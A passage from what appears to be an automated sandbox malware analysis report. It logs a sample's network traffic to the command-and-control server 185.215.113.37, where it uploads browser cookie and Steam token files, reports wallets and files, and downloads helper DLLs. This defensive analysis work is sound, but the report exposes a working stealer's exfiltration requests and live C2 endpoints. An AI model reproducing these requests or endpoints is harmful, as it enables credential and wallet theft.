name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nU
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAEBKJDHDAFIECBAKKJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 2d 2d 0d 0a Data Ascii: ------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="file"------GDAEBKJDHDAFIECBAKKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file"------CAEHDBAAECBFHJKFCFBF--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFHHost: 185.215.113.37Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFIHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="message"wallets------DGDBKFBAKFBFHIECFBFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAECHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 2d 2d 0d 0a Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="message"files------EHIJDHCAKKFCBGCBAAEC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIEHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 2d 2d 0d 0a Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file"------DAAAFBKECAKEHIEBAFIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKEHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 2d 2d 0d 0a Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="message"ybncbhylepme------HJECAAKKFHCFIECAAAKE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFIHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJKKFIJKFCAKJJJKJKFI--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49711 -> 185.215.113.37:80

Source: unknown

DNS traffic detected: query: 171.39.242.20.in-addr.arpa replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_009F4880

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 31 37 41 44 36 45 30 38 36 39 33 31 39 36 39 33 34 38 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="hwid"CC17AD6E08693196934881------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="build"doma------DBAEHCGHIIIDHIECFHJD--

Source: file.exe, 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2419533925.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllh
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllD
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllH
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll4
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllp
Source: file.exe, 00000000.00000002.2419533925.0000000001503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2419533925.0000000001503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll2
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlll
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll~
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllu
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/1
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/X
Source: file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2419533925.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.dll
Source: file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php1xi
Source: file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3x
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php;
Source: file.exe, 00000000.00000002.2419533925.0000000001534000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpCash
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpG
Source: file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpJx
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpK
Source: file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpXx
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpata
Source: file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.2419533925.0000000001534000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpe
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpg
Source: file.exe, 00000000.00000002.2419533925.0000000001534000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpirefox
Source: file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnx
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
